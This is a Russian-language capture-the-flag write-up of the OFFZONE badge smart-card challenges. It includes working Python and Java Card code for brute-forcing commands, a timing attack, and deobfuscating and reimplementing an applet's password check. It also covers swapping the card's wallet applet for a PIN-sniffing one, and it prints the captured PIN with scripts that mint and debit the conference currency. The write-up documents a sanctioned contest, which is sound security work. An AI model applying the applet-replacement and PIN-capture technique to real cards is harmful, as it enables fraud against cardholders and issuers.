Взлом смарт-карт. Полное прохождение заданий со смарт-картами OFFZONE Badge Challenge

Взлом смарт-карт. Полное прохождение заданий со смарт-картами OFFZONE Badge Challenge

Форсайт

На OFFZONE была серия задач на смарт-карте с интерфейсом ISO/IEC 7816. Особо внимательных даже предупредили заранее. Тут опубликовали фотографию бейджа и прямо заявили, что «бейдж можно будет взломать, если вам это будет по силам». Нам оказалось это по силам, и из этой статьи ты узнаешь — как. 

Чтобы решать задачи, нужно было иметь подходящий картридер. Те, кто пришел на конференцию неподготовленным, имели возможность приобрести картридер в «Лавке старьевщика» за OFFCOIN или российские рубли. Правда, продавалось всего 30 ридеров, и их быстро разобрали.

Описание задач было приведено на этой странице.

Официальные задания

Авторы заданий сделали очень хорошее «краткое введение» в терминологию, базовые принципы и популярные инструменты.

Как работать с картой

Общение со смарт-картами ведется при помощи USB-картридеров, которые можно найти в GAME.ZONE, а также купить в «Лавке старьевщика». APDU-команда

Пакеты, которые воспринимает карта, называются APDU-командами. APDU-команда представляет собой последовательность 4-байтового заголовка и данных команды.

Общий формат APDU-команды:

  • [CLA INS P1 P2 Lc DATA Le]
  • CLA (Instruction class) определяет тип посылаемой команды.
  • INS (Instruction code) определяет конкретную команду внутри класса.
  • P1, P2 (Parameter 1/2) являются аргументами команды.
  • Lc (Length of command data) определяет размер данных в поле DATA.
  • DATA (?) содержит в себе Lc байт данных команды.
  • Le (Length of expected data) определяет размер данных, которые ожидается получить в ответе карты. Команда обязательно содержит 4 первых байта, остальные байты опциональны.

В ответ мы получаем код ошибки, состоящий из 2 байт (SW1, SW2), и опциональное поле данных размера <= Le байт.

Для отправки APDU-команд удобно пользоваться библиотекой pyscard для Python. Например, так выглядит код для получения серийного номера Java-карты:

from smartcard.System import readers
from smartcard.util import *
r = readers()
reader = r[0x00] # Let's assume that we only have one reader
connection = reader.createConnection()
connection.connect()
SELECT_MANAGEMENT = [0x00, 0xA4, 0x04, 0x00, 0x08] + [0xA0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00]
(data, sw1, sw2) = connection.transmit(SELECT_MANAGEMENT)
GET_CPLC_DATA = [0x80, 0xCA, 0x9F, 0x7F, 0x00]
(data, sw1, sw2) = connection.transmit(GET_CPLC_DATA)
print data

Если давать высокоуровневое описание Java-карты, то она представляет собой совокупность Java-апплетов, которые выполняют определенные задачи. Апплеты идентифицируются с помощью уникального Applet Identifier (AID), задаваемого при разработке апплета. По умолчанию Java-карта должна содержать Manager-апплет (AID = [0xA0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00]), который используется для управления другими апплетами на карте. Задания также представляют собой отдельные апплеты. Перед началом работы с апплетом нужно выполнить команду SELECT и AID апплета (AID=[…]; SELECT_APPLET = [0x00, 0xA4, 0x04, 0x00] + [len(AID)] + AID).

В качестве основного способа общения с картой предполагалось использовать язык Python и библиотеку pyscard. Небольшая сложность, с которой лично я столкнулся на начальном этапе, была в том, что я не нашел готового инсталлятора и не справился со сборкой pyscard под Python 3.7. А после установки старой версии pyscard 1.7.0 под Python 2.7 выяснилось, что простейшие примеры из документации pyscard падают с ошибкой. Зато связка pyscard 1.9.3 и Python 3.6.7 x64 заработала сразу и без нареканий.

Так как во всех заданиях требовалось выполнять однотипные действия (инициализация, отсылка APDU-команд и получение результатов), мне показалось правильным реализовать базовые функции в виде класса.

from smartcard.System import readers

def hx(ab): return ".".join("%02X" % v for v in ab) # Convert bytes to hex
def sx(ab): return "".join(chr(v) for v in ab) # Convert bytes to string

SELECT_APPLET = [0x00, 0xA4, 0x04, 0x00]

class OFFZONE(object):
  dCmds = { # List of known commands (for debugging)
    hx(SELECT_APPLET): "SELECT_APPLET",
  }

  def __init__(self, ind=0):
    self.DBG = False
    self.r = readers()
    if self.DBG: 
      if self.r:
        print("Readers:")
        for i, v in enumerate(self.r):
          print("%3d: %s" % (i, v))
      else: print("No readers")

    self.conn = self.r[ind].createConnection()
    self.conn.connect()

  def exch(self, cmd, arg=None): # Perform APDU command exchange
    if self.DBG:
      msg = [self.dCmds.get(hx(cmd), hx(cmd))]
      if arg is not None: msg.append(hx(arg))
      print("Send: %s" % " + ".join(msg))
    ext = [] if arg is None else [len(arg)] + list(arg)
    data, sw1, sw2 = self.conn.transmit(cmd + ext)
    if self.DBG:
      print("Recv: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
    return data, sw1, sw2

  def select(self, AID): # Select applet by AID or task index
    if isinstance(AID, int): # Task index provided
      AID = [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x30+AID, 0x10, 0x01]
    return self.exch(SELECT_APPLET, AID)

  def command(self, cla, ins, arg=None): # Execute command
    cmd = [cla, ins, 0, 0]
    return self.exch(cmd, arg)

def main():
  oz=OFFZONE()
##  Task1(oz)
##  Task2(oz)
##  Task3(oz)
##  Task4(oz)

 


Training Mission

Получите основные навыки для работы с Java-картой. Похоже, при переносе описания задания затерлась часть информации, и мы потеряли корректный номер INS.

AID: [0x4f, 0x46, 0x46, 0x5a, 0x4f, 0x4e, 0x45, 0x31, 0x10, 0x01]
CLA: 0x10
INS:
    0x??: getFlag: [0x10, 0x??, 0x00, 0x00]
    0xE0: checkFlag(flag): [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)

В первой задаче требовалось найти однобайтовое значение INS, и очевидно, что проще всего это было сделать перебором 256 возможных вариантов.

Решение

def Task1(oz):
  print("\nTask #1 (Training Mission)")
  oz.select(1)
  CLA = 0x10
  INS_CheckFlag = 0xE0

  for INS_GetFlag in range(0x100):
    data, sw1, sw2 = oz.command(CLA, INS_GetFlag)
    if 0x90 == sw1 and 0x00 == sw2 and data:
      print("INS_GetFlag=0x%02X, Flag: %s" % (INS_GetFlag, repr(sx(data))))
      data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
      print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
      break
  else:
    print("INS_GetFlag value not found")

Легко заметить, что на большинство запросов (с неподдерживаемыми значениями INS) в качестве статуса ответа (sw1 и sw2) возвращаются значения 0x6D и 0x00. Если свериться с таблицей кодов APDU-ответов, становится понятно, что 6D 00 соответствует ошибке Instruction code not supported or invalid. Для правильного запроса возвращается статус 90 00 и флаг.

 


Vault Warehouse Management System

Убежище — это сложный инженерный объект, который позволяет людям выживать в условиях ядерной войны. Тебе предстоит оптимизировать хранение припасов в условиях ограниченного пространства. Перемести коробки с провиантом в специально предназначенные для этого места.

AID: [0x4f, 0x46, 0x46, 0x5a, 0x4f, 0x4e, 0x45, 0x32, 0x10, 0x01]
CLA: 0x10
INS:
    * 0x20, move() — задать направление движения. В APDU необходимо передать один байт с указанием направления:
        * a (0x61) — влево,
        * d (0x64) — вправо,
        * w (0x77) — вверх,
        * s (0x73) — вниз.

        Пример движения влево: apdu = `[0x10, 0x20, 0x00, 0x00, 0x01, 0x61]`.

    * *0x30: getGameState() — получить текущий статус (получить карту в виде списка из 108 байт). 

Игровое поле 12x9. `apdu = [0x10, 0x30, 0x00, 0x00, 0x00]`. Легенда:

* ты — «H» (0x48),
* стена — «#» (0x23),
* коробки с провиантом — «O» (0x4f),
* специально отведенное место для хранения — «.» (0x2e),
* свободное пространство — « » (0x20).

Если ты успешно оптимизировал хранение в паре залов, в ответ на запрос получишь флаг.

* 0x40: reset() — если попал в безвыходную ситуацию. apdu = [0x10, 0x40, 0x00, 0x00, 0x00]
* 0x50: getFlag() apdu = [0x10, 0x50, 0x00, 0x00, 0x00]
* 0xE0: checkFlag(flag) apdu = [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)

В этом задании предлагают поиграть в Sokoban. Ничего технически сложного делать не требуется. Если послать команду getGameState(), в ответ пришлют картинку с полем. Посылая команду move(), можно изменять состояние поля. Как только новое состояние совпадет с решением (все коробки с провиантом на отведенных местах), getGameState() вернет картинку со следующим уровнем (их всего два).

#############        ############
######   ####        #       #  #
#### O # ####        ######     #
#### #  . ###        #    #  #  #
####   H# ###        #       #.##
####O#.  ###        ##O######.##
#####   #####        #      O H #
#############        #    ###   #
#############        ############

После решения второго уровня getGameState() вернет флаг.

Делать полный автомат было лень, поэтому я решил написать интерактивную программу, которая клавишами awsd позволяла двигаться, при нажатии на r вызывала reset(), а при нажатии на любую другую клавишу завершала работу.

from msvcrt import getch

def Task2(oz):
  print("Task #2 (Vault Warehouse Management System)")
  oz.select(2)
  CLA = 0x10
  INS_Move = 0x20
  INS_GetState = 0x30
  INS_Reset = 0x40
  INS_GetFlag = 0x50
  INS_CheckFlag = 0xE0

  while True:
    data, sw1, sw2 = oz.command(CLA, INS_GetState)
    if len(data) != 12*9: break
    print()
    for o in range(0, len(data), 12): print(sx(data[o:o+12])) # Show field
    ch = ord(getch())
    if chr(ch) in ("awsd"): oz.command(CLA, INS_Move, [ch]) # Make move
    elif ord('r') == ch: oz.command(CLA, INS_Reset) # Reset field
    else: return # Quit

  print("Final state: %s" % sx(data))
  data, sw1, sw2 = oz.command(CLA, INS_GetFlag)
  if 0x90 == sw1 and 0x00 == sw2 and data:
    print("Flag == %s" % repr(sx(data)))
    data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
    print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))

Под Windows удобно было использовать getch из библиотеки msvcrt. Под Unix можно воспользоваться модулем getch.py.

Для совсем ленивых — вот последовательность ходов для первого уровня:

aaawwdassdddwdwwaasswaassddwdddssaawssaawsddwwawwaassddwds

И для второго:

aaaaasaawwssddwdddddwwwwaassaaaawaasdssddddddsdwwwwdwaadssssaaaaaaawwwddsddwwwdsassaaawasswddddwwdddssssaaaaaasaawdwwdddddwawddassaaaaasssddwdddddwwwdwwasswaassaaaaassddddddsdw

А если захочется поиграть сначала — нужно опять вызвать reset().

 


Comparer 2000

Эта программа досталась нам от предков вида Macaca JSus. Они не умели оптимизировать код, и их программы работали медленно.

AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x33, 0x10, 0x01]
CLA: 0x10
INS:
    * 0x20: checkStr(str): apdu = [0x10, 0x20, 0x00, 0x00, 0xNN] + STR (0xNN bytes of STR). Ответ: SW_WRONG_PIN_LEN = 0x6420; SW_WRONG_PIN = 0x6421;
    * 0x30: getFlag(): apdu = [0x10, 0x30, 0x00, 0x00, 0x20]
    * 0xE0: checkFlag(flag): apdu = [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)

В условии этой задачи дается подсказка, что надо сначала подобрать длину строки (пока не вернут статус 64 21), а потом использовать Timing Attack (чем больше правильных символов, тем дольше будет идти проверка).

Решение

import time

def Task3(oz):
  print("\nTask #3 (Comparer 2000)")
  oz.select(3)
  CLA = 0x10
  INS_CheckStr = 0x20
  INS_GetFlag = 0x30
  INS_CheckFlag = 0xE0
  for ccKey in range(1, 16): # Guess length
    data, sw1, sw2 = oz.command(CLA, INS_CheckStr, [0]*ccKey)
    if 0x64 == sw1 and 0x21 == sw2:
      print("len(Key)=%X" % ccKey)
      break
  else:
    print("Can't guess key length")

  abKey = bytearray(ccKey)
  for iKey in range(ccKey): # Walk positions
    bestTime = 0
    bestChar = 0
    for i in range(0x100): # Test all possible values
      abKey[iKey] = i
      start = time.time() # Start measure time
      oz.command(CLA, INS_CheckStr, abKey)
      delta = time.time() - start # Calc command execution time
      if delta > bestTime: # Memorize best value
        bestTime = delta
        bestChar = i
    abKey[iKey] = bestChar
    print(hx(abKey[:iKey+1]), end='\r')

  print
  data, sw1, sw2 = oz.command(CLA, INS_CheckStr, abKey)
  if 0x90 == sw1 and 0x00 == sw2:
    print("Key %s is OK" % hx(abKey))
    data, sw1, sw2 = oz.exch([CLA, INS_GetFlag, 0, 0, 0x20])
    if 0x90 == sw1 and 0x00 == sw2 and data:
      print("Flag == %s" % repr(sx(data)))
      data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
      print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))


Убежище 42

Подбери верный ключ и попади в убежище 42!

AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x34, 0x10, 0x01]
CLA: 0x20
INS:
    * 0x04: checkLoginAndPassword(login_and_password) apdu = [0x20, 0x04, 0x00, 0x00, 0xNN] + data (0xNN bytes of data)
    * 0xE0: checkFlag(flag) apdu = [0x20, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag) https://ctf.bi.zone/files/applet.cap

Из текста задания очевидно, что надо проанализировать applet.cap и извлечь алгоритм проверки пароля. Поиск в Google приводит на страничку с документацией Oracle, где упоминается утилита normalizer.bat. Ставим Java Card SDK и выполняем следующие команды (пути могут быть другими!):

SET JAVA_HOME=C:\Program Files\Java\jdk1.8.0_191
SET JCDK=C:\Program Files (x86)\Oracle\Java Card Development Kit 3.0.5u3
"%JCDK%\bin\normalizer.bat" normalize -i applet.cap -p "%JCDK%\api_export_files"

Но, к сожалению, запуск normalizer.bat завершается ошибкой:

[ INFO: ] Cap File to Class File conversion in process.
In method Descriptor[43]/Method[15]:
At PC 0: Bad branch to PC 3 from PC 0

Из сообщения об ошибке можно сделать вывод, что скомпилированный код в файле applet/javacard/Method.cap из applet.cap содержит по адресу 0 неправильный переход на адрес 3 (в середину инструкции). Поискав java card instruction set, легко выяснить, что опкод 0x70 соответствует инструкции goto.

Заглянув внутрь applet/javacard/Method.cap при помощи шестнадцатеричного редактора, можно заметить, что довольно часто встречается последовательность байт 70 03 xx и именно она «ломает» работу normalizer.bat — xx интерпретируется как начало следующей инструкции после двухбайтовой инструкции 70 03 (goto PC+3).

Кстати, подобный прием (переход в середину инструкции) часто используется и в Native-коде для запутывания дизассемблера.

В случае Java Card устранить проблему довольно просто — надо на место всех xx вставить 00 — однобайтовый опкод инструкции nop. Это легко сделать на Python, используя модули zipfile и re.

import zipfile, re

with zipfile.ZipFile("applet.cap") as zin:
  with zipfile.ZipFile("applet_fixed.cap", "w") as zout:
    for item in zin.infolist():
      ab = zin.read(item.filename)
      if item.filename.endswith("Method.cap"): 
        ab = re.sub("p\3.", "p\3\0", ab.decode("latin1")).encode("latin1")
      zout.writestr(item, ab)

После этого надо повторно запустить normalizer.bat (поменяв имя входного файла на applet_fixed.cap). И, несмотря на новое сообщение об ошибке, в поддиректории applet появится файл AAA.class, который можно обработать любым декомпилятором Java (например, старым добрым jad.exe) и получить исходный текст, пригодный для анализа.

Все самое интересное происходит в методе method_token255_descoff79(). На вход он принимает 16-байтовый массив (login), а возвращает другой 16-байтовый массив (password). И именно эти два массива надо передать в APDU-команду checkLoginAndPassword().

Код вычисления password из login похож на кусочки AES. Но разбираться с тем, как он работает, необязательно — достаточно или переписать его на привычный язык (например, Python), или слегка подправить и скомпилировать исходник на Java.

Решение

def aRol(a, n): return a[n:] + a[:n]

def bX(b): return ((b << 1) ^ 0x1B) & 0xFF

def bB(b): return bX(b) ^ b

def transform(a0, a1, a2, a3):
  o0 = [((bX(a0[i]) ^ bB(a1[i])) ^ a2[i]) ^ a3[i] for i in range(4)]
  o1 = [((a0[i] ^ bX(a1[i])) ^ bB(a2[i])) ^ a3[i] for i in range(4)]
  o2 = [((a0[i] ^ a1[i]) ^ bX(a2[i])) ^ bB(a3[i]) for i in range(4)]
  o3 = [((bB(a0[i]) ^ a1[i]) ^ a2[i]) ^ bX(a3[i]) for i in range(4)]
  return o0 + o1 + o2 + o3

def PwdFromLogin(login):
  ab = [(login[i] - 3*i) & 0xFF for i in range(16)]
  a0 = aRol(ab[0:4], 1)
  a1 = aRol(ab[4:8], 2)
  a2 = aRol(ab[8:12], 3)
  a3 = aRol(ab[12:16], 1)
  ab = transform(a0, a1, a2, a3)
  return [(ab[i] + 127*(i+1)) & 0xFF for i in range(16)]

def Task4(oz):
  print("\nTask #4 (Shelter 42)")
  oz.select(4)
  CLA = 0x20
  INS_CheckLoginAndPassword = 0x04
  INS_CheckFlag = 0xE0

  login = [i for i in range(16)]
  pwd = PwdFromLogin(login)

  data, sw1, sw2 = oz.command(CLA, INS_CheckLoginAndPassword, login+pwd)
  if 0x90 == sw1 and 0x00 == sw2 and data:
    print("Flag == %s" % repr(sx(data)))
    data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
    print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))

 


SmartCardTanks

Для начала хотелось бы отметить, что организаторы выбрали очень интересный формат распределения сувениров и активностей для зарабатывания OFFCOIN, атмосфера на конференции из-за этого сложилась особенная. Велотрек, настольный зомби-кикер, тотализатор и прочее — все это не обошло и нас. Поскольку картридеров у нас не было, то решили для получения заветного картридера, раз их так мало, общими усилиями во что бы то ни стало накрутить педали и выиграть максимальное количество «футбольных» соперников, а затем купить девайс за OFFCOIN и впервые окунуться в мир Java-апплетов.

Игрокам необходимо реализовать игровую логику своего танка так, чтобы в ответ на запрос хода их карты передавали желаемые направления перемещения и стрельбы подконтрольного танка. Если ответ на запрос хода будет некорректным, танк игрока не станет перемещаться или стрелять.

AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x35, 0x10, 0x01]
CLA: 0x80
INS:
    * 0x99: readySteady(check)
    * Параметры: BYTE check — целое число в диапазоне (0–100).
    * Ответ: BYTE check_response — целое число, равное check+1.
    * 0x66: getMap()
    * Параметры: BYTE[32] map — игровое поле в битовом представлении (слева направо и сверху вниз).
        * Например, переданы значения [0xFF, 0xFF, 0x80, 0x01, 0x93, 0x81, ...]. Тогда участок поля, описываемый этими значениями, имеет следующий вид в битовом представлении:

        1111111111111111
        1000000000000001
        1001001110000001
        ...
        1 означает неразрушимую и непроходимую стену.
        0 означает поверхность, по которой можно перемещаться.
        Ответ: BYTE[2] map_response — всегда равен [0x4f, 0x4b] ('OK').
    * 0x33: getNextStep(step). Параметры:
        * BYTE step — текущий игровой ход (200 -> 0).
        * BYTE player_x — координата Х игрока (0 -> 15).
        * BYTE player_y — координата Y игрока (0 -> 15).
        * BYTE player_lives — число жизней игрока (3 -> 0).
        * BYTE player_fuel — количество топлива игрока (255 -> 0).
        * BYTE player_rockets — число ракет игрока (255 -> 0).
        * BYTE enemy_x — координата Х противника (0 -> 15).
        * BYTE enemy_y — координата Y противника (0 -> 15).
        * BYTE enemy_lives — число жизней противника (3 -> 0).
        * BYTE enemy_fuel — количество топлива противника (255 -> 0).
        * BYTE enemy_rockets — число ракет противника (255 -> 0).
        * BYTE bonus_count — число бонусов на карте на текущий ход (2 -> 0).
        * BONUS[bonus_count] — список описаний бонусов (от 0 до 2 элементов, в зависимости от количества бонусов на карте).
        * BYTE bonus_x — координата Х бонуса (0 -> 15).
        * BYTE bonus_y — координата Y бонуса (0 -> 15).
        * BYTE bonus_type — тип бонуса (0 — бонус топлива, 1 — бонус ракет).

        Ответ:

        * BYTE move_direction — направление перемещения игрока (0 — стоять на месте, 1 — двигаться вправо, 2 — двигаться вверх, 3 — двигаться влево, 4 — двигаться вниз).
        * BYTE shoot_direction — направление выстрела игрока (0 — не стрелять, 1 — стрелять вправо, 2 — стрелять вверх, 3 — стрелять влево, 4 — стрелять вниз).

Код апплета, который уже залит на вашу карту, можно посмотреть по ссылке.

Java-карты конференции совместимы с GlobalPlatform, и для установки, удаления и просмотра апплетов можно использовать GlobalPlatformPro. Например, чтобы получить список установленных апплетов, можно воспользоваться командой

java -jar gp.jar --list -v

Задание (полное описание) заключалось в том, чтобы написать свой бот для управления танком, используя предоставляемый организаторами SmartCardTanksBot.java как шаблон для построения бота.

Внутри шаблона есть строки, которые подтвердили предположение относительно инструкции 0xA4.

if (buffer[ISO7816.OFFSET_INS] == 0xA4) {
    return;
}

После разработки бота управления танком нужно было использовать пакет GlobalPlatformPro, чтобы установить бот в системе. В описании задания указано, что апплеты можно не только устанавливать, но и просматривать уже установленные, а также удалять их.

Был получен список апплетов, установленных в системе.


Проанализировав список, можно выделить, что здесь представлены AID для всех пяти задач на карте, а также некий секретный апплет, который имеет AID:

SECRET = [0xA0, 0x00, 0x00, 0x00, 0x50, 0x10, 0x10, 0x50, 0x10, 0x01]

Судя по используемому AID и его похожести на родительский апплет, он, скорее всего, управляющий. Еще интересная особенность, что он имеет класс инструкций = 0x80, отличный от других, и в то же время такой же класс был у задачи с танками.

 


Исследование команд управляющего апплета

В управляющем апплете были найдены команды:

SECRET_Cmds = [(0x20,0x63,0x00),(0x30,0x63,0x01),(0x40,0x63,0x01), (0x50,0x67,0x00),(0x60,0x63,0x01),(0x70,0x63,0x01),(0x80,0x67,0x00), (0x90,0x63,0x01),(0xA0,0x67,0x00),(0xA4,0x90,0x00)]

Поскольку для некоторых команд код ошибки sw1, sw2 = 0x67, 0x00, что означает «неверная длина данных», был выполнен перебор по этому полю.

Выяснилось, что во всех трех командах размер данных должен быть равен нулю. Также с помощью сравнения результатов работы этих команд для разных карточек было определено их предназначение.

 


Получение баланса

Ins = 0x50 — получение текущего баланса на карте.

Код для реализации команды простой.

BalanceIns = [0x80, 0x50, 0x00, 0x00, 0x00] 

def GetBalance():
  data, sw1, sw2 = connection.transmit(SELECT_SECRET)
  print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
  data, sw1, sw2 = connection.transmit(BalanceIns)
  print("----- Current Balance: %02u %02u" % (data[0], data[1]))
Результат работы

 


Получение статуса выполнения задач на карте

Ins = 0x80 — получение состояния задач на карте, решена или нет.

Код реализации такой:

TaskStateIns = [0x80, 0x80, 0x00, 0x00, 0x00] 

def GetTaskState():
  data, sw1, sw2 = connection.transmit(SELECT_SECRET)
  print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
  data, sw1, sw2 = connection.transmit(TaskStateIns)
  print("Current Task State:")
  print(data)   
Результат работы

Как видим, решены первые четыре задачи из расположенных на карте.

 


Получение статуса выполнения логических задач

Ins = 0xA0 — получение некоторого состояния, как выяснилось позже — состояния решения логических задач в зоне BI.ZONE. Скрипт для вывода этой информации:

SomeLenIns = [0x80, 0xA0, 0x00, 0x00, 0x00] 

def GetSomeState():
  data, sw1, sw2 = connection.transmit(SELECT_SECRET)
  print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
  data, sw1, sw2 = connection.transmit(SomeLenIns)
  print("Current Some State:")
  print(data)   
Результат работы

Всего задач девять. На данной карте ни одна из задач этого типа еще не решена.

Получается, что этот управляющий апплет отвечает за взаимодействие с банкоматом. По наблюдениям было замечено, что после решения задачи на карточке состояние задачи в управляющем апплете не менялось. Это значит, что банкомат считывал состояние, решена задача или нет, из апплета самой задачи, а затем устанавливал сам флаг и начислял деньги за решение задачи.

Итак, к этому моменту мы уже могли получать баланс карточки и состояние задач двух типов. И осталось несколько команд с неизвестным предназначением.

SECRET_UNK_Cmds = [(0x20,0x63,0x00), (0x30,0x63,0x01), (0x40,0x63,0x01),
    (0x60,0x63,0x01), (0x70,0x63,0x01), (0x90,0x63,0x01)]

Коды ошибок отличаются только у одной команды. Было сделано предположение, что эта команда 0x20 отвечает за некоторую авторизацию, а остальные за какие-то действия. Сами коды ошибок, начинающиеся с 0x63 в справочнике, обозначали варианты State of non-volatile memory changed, что в данном контексте неинформативно.

Выяснилось, что управляющий апплет построен на базе типового Wallet-апплета. Описание и исходники типового Wallet можно найти в поисковике по фразе java card wallet.

Первое, что бросается в глаза в исходнике, — это знакомые коды ошибок

// signal that the PIN verification failed
final static short SW_VERIFICATION_FAILED = 0x6300;

// signal the the PIN validation is required
// for a credit or a debit transaction
final static short SW_PIN_VERIFICATION_REQUIRED = 0x6301;

Затем видим такой же класс 0x80 и коды типовых инструкций. Получение баланса совпадает с кодом, уже найденным нами. Предположение оказалось верным: 0x20 — команда верификации.

// code of CLA byte in the command APDU header
final static byte Wallet_CLA = (byte)0x80;

// codes of INS byte in the command APDU header
final static byte VERIFY = (byte) 0x20;
final static byte CREDIT = (byte) 0x30;
final static byte DEBIT = (byte) 0x40;
final static byte GET_BALANCE = (byte) 0x50;

Чтобы самостоятельно снимать и начислять деньги на карту, осталось найти правильный PIN, назовем его SystemPIN.

Сначала мы решили попробовать получить SystemPIN с помощью аппаратного перехватчика, но по техническим причинам это не получилось. Благодарим организаторов — они подготовили специальный стенд, чтобы мы не экспериментировали на боевой системе.

Мы обратили внимание на следующее. Мы могли удалять и устанавливать любой апплет. Класс 0x80 совпадал у управляющего апплета и бота управления танчиками — думаю, в этом был некий намек от организаторов.

Возникла идея заменить управляющий апплет на свой, который будет только считывать PIN, сохранять его в памяти карты и возвращать его нам по запросу.

За основу был взят исходный код бота для танков SmartCardTanksBot.java. В него мы добавили строки для сохранения у себя в памяти всего пакета передачи PIN. PIN передается, когда вставляешь карту в терминал.

final static byte VERIFY = (byte) 0x20;

private void verify(APDU apdu) {
    byte[] buffer = apdu.getBuffer();
    byte byteRead = (byte)(apdu.setIncomingAndReceive());
    sniffedPIN[0] = byteRead;
    sniffedPIN[1] = (byte)buffer.length;
    for(short i = 0; i < buffer.length; i++)
        sniffedPIN[i + 2] = buffer[i]
} 

Также реализовали выдачу перехваченного пакета с PIN по нашему запросу.

final static byte GET_PIN = (byte) 0x77;
private void getPin(APDU apdu) {
    byte[] buffer = apdu.getBuffer();
    short le = apdu.setOutgoing();
    apdu.setOutgoingLength((short)128);
    for(short i = 0; i < 128; i++)
    {
        buffer[i] = sniffedPIN[i+1];
    }
    apdu.sendBytes((short)0, (short)128);
}

Чтобы новая команда GET_PIN заработала, в обработчик инструкций добавили:

public void process(APDU apdu) {
         byte[] buffer = apdu.getBuffer();
         if (buffer[ISO7816.OFFSET_INS] == (byte)(0xA4)) {
             return;
         } else if (buffer[ISO7816.OFFSET_CLA] != APPLET_CLA) {
             ISOException.throwIt(ISO7816.SW_CLA_NOT_SUPPORTED);
         }
           switch (buffer[ISO7816.OFFSET_INS]) {
             case MOVE:
                 sendMove(apdu);
                 return;
             case MAP:
                 getMap(apdu);
                 return;
             case TEST:
                 test(apdu);
                 return;
             case VERIFY:
                 verify(apdu);
                 return;
             case GET_PIN:
                 getPin(apdu);
                 break;
             default:
                 ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED);
     }
 }

Далее скомпилировали через JCIDE с нужным нам номером AID. Управляющий апплет, отвечающий за проверку PIN, был удален.


Затем вместо него был установлен апплет, подготовленный нами.


После этого карта уже не могла использоваться для конкурсов, начисления и снятия OFFCOIN, поскольку мы удалили оригинальный управляющий апплет. После нескольких испорченных таким образом карт нам удалось получить PIN. С помощью следующего скрипта получили с этой карты содержимое пакета, где был PIN:

GET_SYSTEM_PIN = [0x80, 0x77, 0x00, 0x00]

def GetSystemPIN():
    data, sw1, sw2 = connection.transmit(SELECT_SECRET)
    print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
    data, sw1, sw2 = connection.transmit(GET_SYSTEM_PIN)
    print("Get System PIN Packet State: 0x%02X 0x%02X" % (sw1, sw2))
    print(data) 

На выходе получили следующее.


Здесь первые 4 байта — это заголовок запроса авторизации. Затем идет длина данных — 8 байт. Последующие 8 байт — значение PIN.

SystemPIN = [0xDB, 0X4D, 0XDE, 0X11, 0X6A, 0X27, 0X5B, 0X85]

На этом этапе нас объявили победителями конкурса.

 


Зачисление и снятие OFFCOIN

По пути в аэропорт мы попробовали реализовать верификацию, операции зачисления на карту и снятие с карты OFFCOIN. Опытным путем выявлено, что перед каждой операцией нужно проводить верификацию. Процедура, выполняющая это, имеет вид:

AuthIns = [0x80, 0x20, 0x00, 0x00] + [len(SystemPIN)] + SystemPIN

def GetAuth():
    data, sw1, sw2 = connection.transmit(SELECT_SECRET)
    data, sw1, sw2 = connection.transmit(AuthIns)

Например, зачисление 250 OFFCOIN на карту выполняется следующим кодом:

CreditIns = [0x80, 0x30, 0x00, 0x00] + [2] + [0x00, 0xFA]

def MakeCredit():
    data, sw1, sw2 = connection.transmit(SELECT_SECRET)
    print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
    GetAuth()
    print(CreditIns)
    data, sw1, sw2 = connection.transmit(CreditIns)
    print("Credit Instruction State: 0x%02X 0x%02X" % (sw1, sw2))
Результат работы скрипта зачисления OFFCOIN

Снятие 100 OFFCOIN с карты выполняется следующим кодом:

DebitIns = [0x80, 0x40, 0x00, 0x00] + [2] + [0x00, 0x64]

def MakeDebit():
    data, sw1, sw2 = connection.transmit(SELECT_SECRET)
    print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
    GetAuth() 
    print(DebitIns)
    data, sw1, sw2 = connection.transmit(DebitIns)
    print("Debit Instruction State: 0x%02X 0x%02X" % (sw1, sw2))
Результат работы скрипта снятия OFFCOIN

Опытным путем было установлено, что предел для карт с конференции — 5632 OFFCOIN.

 


Заключение

Благодарим организаторов за прекрасный, интересный и увлекательный конкурс. Решение его задач доставило много радости и веселья!


Report Page